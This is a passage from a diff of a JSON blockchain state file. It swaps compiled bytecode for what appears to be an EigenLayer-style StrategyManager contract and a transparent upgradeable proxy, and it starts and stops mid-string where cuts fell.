6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -58,7 +58,7 @@ "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f